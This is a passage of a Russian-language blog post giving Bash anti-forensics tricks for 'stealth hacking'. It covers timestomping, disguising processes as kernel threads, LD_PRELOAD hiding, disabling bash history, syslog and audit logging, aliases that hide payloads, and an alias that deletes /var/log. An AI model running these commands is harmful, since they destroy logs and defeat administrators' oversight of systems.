{"id":470128,"date":"2025-08-09T09:00:26","date_gmt":"2025-08-09T09:00:26","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=470128"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=470128","title":{"rendered":"<span>Stealth Mode: 10 Bash-\u0442\u0440\u044e\u043a\u043e\u0432 \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0445\u0430\u043a\u0438\u043d\u0433\u0430<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<h3>\u0412\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0432 Stealth \u0440\u0435\u0436\u0438\u043c \u043f\u0440\u0438 \u0445\u0430\u043a\u0438\u043d\u0433\u0435<\/h3>\n<p>\u0412 \u043c\u0438\u0440\u0435 \u044d\u0442\u0438\u0447\u043d\u043e\u0433\u043e \u0445\u0430\u043a\u0438\u043d\u0433\u0430, \u0431\u044b\u0442\u044c \u043d\u0435\u0432\u0438\u0434\u0438\u043c\u044b\u043c \u0437\u0430\u0447\u0430\u0441\u0442\u0443\u044e \u0442\u0430\u043a \u0436\u0435 \u0432\u0430\u0436\u043d\u043e, \u043a\u0430\u043a \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f. \u041f\u043e\u0434\u0443\u043c\u0430\u0439\u0442\u0435 \u0441\u0430\u043c\u0438: \u0435\u0441\u043b\u0438 \u0432\u044b \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u0435\u0442\u0435 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443, \u043d\u043e \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u0435 \u0437\u0430 \u0441\u043e\u0431\u043e\u0439 \u0441\u043b\u0435\u0434\u044b \u0432 \u043b\u043e\u0433\u0430\u0445, \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043c\u0435\u0442\u043a\u0430\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u0435 \u0441\u0432\u043e\u044e \u043f\u043e\u0434\u043f\u0438\u0441\u044c \u043d\u0430 \u043c\u0435\u0441\u0442\u0435 \u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044f.<\/p>\n<p>\u042d\u0442\u043e\u0442 \u0433\u0430\u0439\u0434 \u043f\u043e\u0441\u0432\u044f\u0449\u0435\u043d \u0441\u043a\u0440\u044b\u0442\u043d\u043e\u0441\u0442\u0438 \u0438 <em>bash<\/em>-\u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043d\u0433\u0443. \u041c\u044b \u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043d\u0435 \u043e \u0441\u0443\u043f\u0435\u0440 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u0445, \u0430 \u043e \u043d\u0438\u0437\u043a\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u043e\u0439 \u043d\u0435\u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043a\u0440\u0438\u043c\u0438\u043d\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0447\u0435\u0441\u0430\u0442\u044c \u0437\u0430\u0442\u044b\u043b\u043a\u0438.<\/p>\n<figure class=\"full-width\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/02e\/ade\/25e\/02eade25ee445ae53f71112c96921c0b.png\" width=\"832\" height=\"1042\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/02e\/ade\/25e\/02eade25ee445ae53f71112c96921c0b.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/02e\/ade\/25e\/02eade25ee445ae53f71112c96921c0b.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<h3>\u041f\u043e\u0447\u0435\u043c\u0443 \u0442\u0430\u043a \u0432\u0430\u0436\u043d\u0430 \u0441\u043a\u0440\u044b\u0442\u043d\u043e\u0441\u0442\u044c<\/h3>\n<p>\u0411\u0443\u0434\u044c \u0442\u043e \u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0430\u0442\u0430\u043a\u0438 <em>APT<\/em> \u0438\u043b\u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0432\u0430\u0448\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u0441\u043a\u0440\u044b\u0442\u043d\u043e\u0441\u0442\u044c \u0438\u043c\u0435\u0435\u0442 \u043f\u0435\u0440\u0432\u043e\u0441\u0442\u0435\u043f\u0435\u043d\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435. \u0423\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0438 <em>Red team<\/em> \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0441\u043a\u0440\u044b\u0442\u043d\u043e\u0441\u0442\u044c, \u0447\u0442\u043e\u0431\u044b \u0438\u043c\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. \u0425\u0430\u043a\u0435\u0440\u044b \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442 \u0435\u0451, \u0447\u0442\u043e\u0431\u044b \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u0430\u0440\u0435\u0441\u0442\u0430. \u0412 \u043b\u044e\u0431\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u0443\u0442\u044c \u0432\u043d\u0443\u0442\u0440\u044c \u2014 \u044d\u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0430 \u0437\u0430\u0434\u0430\u0447\u0438, \u0432\u0442\u043e\u0440\u0430\u044f \u2014 \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0435\u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u043c.<\/p>\n<h3>\u041f\u0440\u0438\u043c\u0435\u0440\u044b \u0438\u0437 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043c\u0438\u0440\u0430: \u043a\u0430\u043a \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442\u0441\u044f<\/h3>\n<p>\u041c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0442\u0435\u0441\u0442\u043e\u0432 \u043d\u0430 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435 \u0438 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043d\u0435\u0443\u0434\u0430\u0447\u043d\u043e, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043a\u0442\u043e-\u0442\u043e \u0437\u0430\u0431\u044b\u043b \u043d\u0430\u0432\u0435\u0441\u0442\u0438 \u0437\u0430 \u0441\u043e\u0431\u043e\u0439 \u043f\u043e\u0440\u044f\u0434\u043e\u043a. \u0417\u0430\u0431\u044b\u0442\u0430\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0432 <em>bash_history<\/em>, \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u0436\u0443\u0440\u043d\u0430\u043b\u0435 \u0438\u043b\u0438 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u043c\u0435\u0442\u043a\u0430 \u2014 \u044d\u0442\u043e \u0442\u0435 \u0441\u0430\u043c\u044b\u0435 \u0443\u043b\u0438\u043a\u0438, \u0438\u0437-\u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043b\u043e\u0432\u044f\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.<\/p>\n<h4>1) \u041c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u0438 \u0441 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u043c\u0438 \u043c\u0435\u0442\u043a\u0430\u043c\u0438 \u0444\u0430\u0439\u043b\u043e\u0432<\/h4>\n<p>\u0427\u0442\u043e \u0442\u0430\u043a\u043e\u0435 <em>Timestomping<\/em>?<\/p>\n<p><em>Timestomping<\/em> \u2014 \u044d\u0442\u043e \u0438\u0441\u043a\u0443\u0441\u0441\u0442\u0432\u043e \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u043a \u0444\u0430\u0439\u043b\u043e\u0432, \u0447\u0442\u043e\u0431\u044b \u043e\u043d\u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0438 \u0441\u0442\u0430\u0440\u0448\u0435 \u0438 \u043d\u0435 \u0431\u044b\u043b\u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c\u044e. \u042d\u0442\u043e \u043f\u043e\u043c\u043e\u0433\u0430\u0435\u0442 \u0441\u043a\u0440\u044b\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0441\u0440\u0435\u0434\u0438 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0445.<\/p>\n<p><strong>\u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u0434\u043b\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u043a:<\/strong><\/p>\n<p><code>touch -r \/bin\/ls malicious_<\/code><a href=\"http:\/\/file.sh\" rel=\"noopener noreferrer nofollow\"><code>file.sh<\/code><\/a><\/p>\n<p>\u0421\u0434\u0435\u043b\u0430\u0435\u0442 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u043c\u0435\u0442\u043a\u0443 \u0432\u0430\u0448\u0435\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0439 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u043c\u0435\u0442\u043a\u0435 <em>\/bin\/ls<\/em>. \u0425\u043e\u0442\u0438\u0442\u0435 \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u0443\u044e \u0434\u0430\u0442\u0443?<\/p>\n<p><code>touch -t 202001011200.00 <\/code><a href=\"http:\/\/yourscript.sh\" rel=\"noopener noreferrer nofollow\"><code>yourscript.sh<\/code><\/a><\/p>\n<p><strong>\u041f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c \u043c\u0438\u0440\u0435:<\/strong><\/p>\n<p>\u041f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u043c, \u0432\u044b \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u043b\u0438 <em>reverse shell<\/em> \u0441\u043a\u0440\u0438\u043f\u0442 \u0432 <em>\/usr\/local\/bin<\/em>. \u0415\u0441\u043b\u0438 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u043c\u0435\u0442\u043a\u0430 \u044f\u0432\u043d\u043e \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 &#171;\u0441\u043e\u0437\u0434\u0430\u043d\u043e \u043f\u044f\u0442\u044c \u043c\u0438\u043d\u0443\u0442 \u043d\u0430\u0437\u0430\u0434&#187;, \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c \u044d\u0442\u043e. \u0418\u0441\u043f\u0440\u0430\u0432\u044c\u0442\u0435 \u044d\u0442\u0443 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u043c\u0435\u0442\u043a\u0443, \u0438 \u0444\u0430\u0439\u043b \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u043d\u0435\u0437\u0430\u043c\u0435\u0442\u043d\u043e.<\/p>\n<h4>2) \u0421\u043a\u0440\u044b\u0442\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b. \u041f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432<\/h4>\n<p>\u0418\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u044e\u0442\u0441\u044f \u0432 ps, \u0432\u0435\u0440\u043d\u043e? \u041d\u0435 \u0435\u0441\u043b\u0438 \u0432\u044b \u0445\u0438\u0442\u0440\u044b&#8230;<\/p>\n<p><code>exec -a \"[kworker\/0:1H]\" .\/evil_<\/code><a href=\"http:\/\/script.sh\" rel=\"noopener noreferrer nofollow\"><code>script.sh<\/code><\/a><\/p>\n<p>\u042d\u0442\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0434\u0435\u043b\u0430\u0435\u0442 \u0432\u0430\u0448 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043f\u043e\u0445\u043e\u0436\u0438\u043c \u043d\u0430 \u043f\u043e\u0442\u043e\u043a \u044f\u0434\u0440\u0430. \u041e\u0442\u043b\u0438\u0447\u043d\u0430\u044f \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0430, \u043f\u0440\u0430\u0432\u0434\u0430?<\/p>\n<p><strong>\u041c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u044f \u0441 <em>\/proc<\/em> \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <em>Bash<\/em>:<\/strong><\/p>\n<p>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u044d\u0442\u043e\u0442 \u043c\u0435\u0442\u043e\u0434, \u0447\u0442\u043e\u0431\u044b \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0447\u0438\u0442\u0430\u0442\u044c \u0438\u043b\u0438 \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043c\u044f \u0432\u0430\u0448\u0435\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430:<\/p>\n<p><code>echo \"httpd\" &gt; \/proc\/$$\/comm<\/code><\/p>\n<p><strong>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 LD_PRELOAD \u0434\u043b\u044f \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430<\/strong><\/p>\n<p>\u0415\u0441\u043b\u0438 \u0432\u0430\u0441 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u044e\u0442 \u0431\u043e\u043b\u0435\u0435 \u0441\u043b\u043e\u0436\u043d\u044b\u0435 \u043c\u0430\u0445\u0438\u043d\u0430\u0446\u0438\u0438, \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u0435 <em>shared object (.so)<\/em>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0432\u0430\u0448 <em>PID<\/em> \u043e\u0442 <em>ps<\/em> \u0438 <em>top<\/em>:<\/p>\n<p><code>LD_PRELOAD=.\/<\/code><a href=\"http:\/\/hide.so\" rel=\"noopener noreferrer nofollow\"><code>hide.so<\/code><\/a><code> .\/payload<\/code><\/p>\n<h4>3) \u041e\u0447\u0438\u0441\u0442\u043a\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 Bash<\/h4>\n<p>\u041e\u0442\u0443\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0436\u0443\u0440\u043d\u0430\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432 <em>~\/.bash_history<\/em>. \u041d\u0430\u0447\u043d\u0438\u0442\u0435 \u0432\u0430\u0448\u0443 \u0441\u0435\u0441\u0441\u0438\u044e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n<p><code>HISTFILE=\/dev\/null<\/code><\/p>\n<p><code>unset HISTFILE<\/code><\/p>\n<p><code>set +o history<\/code><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c Bash \u043d\u0435 \u043b\u043e\u0433\u0438\u0440\u0443\u0435\u0442\u0441\u044f.<\/p>\n<p><strong>\u041f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044c \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u043f\u0440\u0438 \u0432\u044b\u0445\u043e\u0434\u0435<\/strong><\/p>\n<p>\u0414\u043e\u0431\u0430\u0432\u044c\u0442\u0435 \u044d\u0442\u043e \u0432 \u0432\u0430\u0448 \u0441\u043a\u0440\u0438\u043f\u0442:<\/p>\n<p><code>history -c &amp;&amp; history -w<\/code><\/p>\n<p><em>\u201cBest Practices\u201d<\/em> \u0434\u043b\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0441\u0435\u0441\u0441\u0438\u0439<\/p>\n<p>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043d\u0435\u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u0443\u044e \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443 \u0438\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 script, \u0447\u0442\u043e\u0431\u044b \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0435\u0441\u0441\u0438\u0438 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u043c\u0435\u0441\u0442\u0430\u0445.<\/p>\n<h4>4) \u0412\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0435 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0436\u0443\u0440\u043d\u0430\u043b\u0430<\/h4>\n<p>\u041f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 Syslog. \u0412\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0438\u0442\u044c syslog, \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u0438\u0432 \u0435\u0433\u043e \u0438\u043b\u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0432 \u0441\u043b\u0443\u0436\u0431\u0443:<\/p>\n<p><code>service rsyslog stop<\/code><\/p>\n<p>\u041d\u0435 \u0437\u0430\u0431\u0443\u0434\u044c\u0442\u0435 \u0441\u043d\u043e\u0432\u0430 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0435\u0435, \u0438\u043d\u0430\u0447\u0435 \u044d\u0442\u043e \u0432\u044b\u0437\u043e\u0432\u0435\u0442 \u043f\u043e\u0434\u043e\u0437\u0440\u0435\u043d\u0438\u044f.<\/p>\n<p><strong>\u041e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 <em>Audit Logs<\/em> \u0447\u0435\u0440\u0435\u0437 <em>Bash:<\/em><\/strong><\/p>\n<p><code>auditctl -e 0<\/code><\/p>\n<p>\u042d\u0442\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0430\u0443\u0434\u0438\u0442\u0430 Linux. \u041e\u043f\u044f\u0442\u044c \u0436\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u044d\u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043b\u0435\u0433\u0430\u043b\u044c\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445.<\/p>\n<h4>5) \u0410\u043b\u0438\u0430\u0441\u044b \u0434\u043b\u044f \u0441\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u0441\u043b\u0435\u0434\u043e\u0432<\/h4>\n<p><strong>\u0417\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0430\u043b\u0438\u0430\u0441\u044b rm, cd \u0438\u043b\u0438 ls<\/strong><\/p>\n<p><code>alias ls='ls --color=auto --hide=<\/code><a href=\"http:\/\/payload.sh\" rel=\"noopener noreferrer nofollow\"><code>payload.sh<\/code><\/a><code>'<\/code><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0432\u0430\u0448 \u0444\u0430\u0439\u043b \u0438\u0441\u0447\u0435\u0437\u043d\u0435\u0442 \u0438\u0437 \u0441\u043f\u0438\u0441\u043a\u0430.<\/p>\n<p><strong>\u0414\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0430\u043b\u0438\u0430\u0441\u043e\u0432 Bash<\/strong><\/p>\n<p>\u0420\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u0442\u0435 \u0438\u0445 \u0432 \u0444\u0430\u0439\u043b\u0430\u0445 .bashrc \u0438\u043b\u0438 .bash_profile, \u0447\u0442\u043e\u0431\u044b \u043e\u043d\u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b\u0438\u0441\u044c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432 \u0431\u0443\u0434\u0443\u0449\u0438\u0445 \u0441\u0435\u0441\u0441\u0438\u044f\u0445.<\/p>\n<p><strong>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0430\u043b\u0438\u0430\u0441\u043e\u0432 \u0434\u043b\u044f \u043e\u0447\u0438\u0441\u0442\u043a\u0438<\/strong><\/p>\n<p>\u0421\u043e\u0437\u0434\u0430\u0439\u0442\u0435 \u0430\u043b\u0438\u0430\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u0434\u0430\u043b\u044f\u0435\u0442 \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u0438 \u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0441\u043b\u0435\u0434\u044b:<\/p>\n<p><code>alias vanish='rm -rf ~\/.bash_history \/var\/log\/*'<\/code><\/p>\n<p>(\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043b\u0435\u0433\u0430\u043b\u044c\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445.)<\/p>\n<h4>6) \u041c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0430 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432<\/h4>\n<p><strong>\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0441\u043a\u0440\u044b\u0442\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0442\u043e\u0447\u0435\u043a<\/strong><\/p>\n<p>\u0412 Linux \u043b\u044e\u0431\u043e\u0439 \u0444\u0430\u0439\u043b \u0438\u043b\u0438 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044f, \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0449\u0430\u044f\u0441\u044f \u0441 \u0442\u043e\u0447\u043a\u0438 (.), \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0441\u043a\u0440\u044b\u0442\u044b. \u042d\u0442\u043e \u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0430.<\/p>\n<p><code>mv my_<\/code><a href=\"http:\/\/payload.sh\" rel=\"noopener noreferrer nofollow\"><code>payload.sh<\/code><\/a><code> .my_<\/code><a href=\"http:\/\/payload.sh\" rel=\"noopener noreferrer nofollow\"><code>payload.sh<\/code><\/a><\/p>\n<p>\u041e\u043d \u043d\u0435 \u043f\u043e\u044f\u0432\u0438\u0442\u0441\u044f \u0432 \u043e\u0431\u044b\u0447\u043d\u043e\u043c <em>ls<\/em>, \u0435\u0441\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442 <em>ls -a<\/em>.<\/p>\n<p><strong>\u041f\u0440\u0435\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0441\u043b\u0443\u0436\u0431\u044b<\/strong><\/p>\n<p>\u0425\u043e\u0442\u0438\u0442\u0435 \u0437\u0430\u0439\u0442\u0438 \u0434\u0430\u043b\u044c\u0448\u0435? \u041d\u0430\u0437\u043e\u0432\u0438\u0442\u0435 \u0444\u0430\u0439\u043b\u044b \u0442\u0430\u043a, \u0431\u0443\u0434\u0442\u043e \u043e\u043d\u0438 \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.<\/p>\n<p><code>mv my_<\/code><a href=\"http:\/\/payload.sh\" rel=\"noopener noreferrer nofollow\"><code>payload.sh<\/code><\/a><code> <\/code><a href=\"http:\/\/systemd-update.sh\" rel=\"noopener noreferrer nofollow\"><code>systemd-update.sh<\/code><\/a><\/p>\n<p>\u0417\u0430\u0442\u0435\u043c \u0441\u043f\u0440\u044f\u0447\u044c\u0442\u0435 \u0435\u0433\u043e \u0432 <em>\/lib\/systemd\/<\/em> \u0438\u043b\u0438 \u0434\u0440\u0443\u0433\u043e\u0439 \u043e\u0433\u0440\u043e\u043c\u043d\u043e\u0439 \u043f\u0430\u043f\u043a\u0435. \u042d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b \u043e\u0431\u044b\u0447\u043d\u043e \u043d\u0435 \u043e\u0431\u0440\u0430\u0449\u0430\u044e\u0442 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u043d\u0430 \u0441\u0435\u0440\u0432\u0438\u0441\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 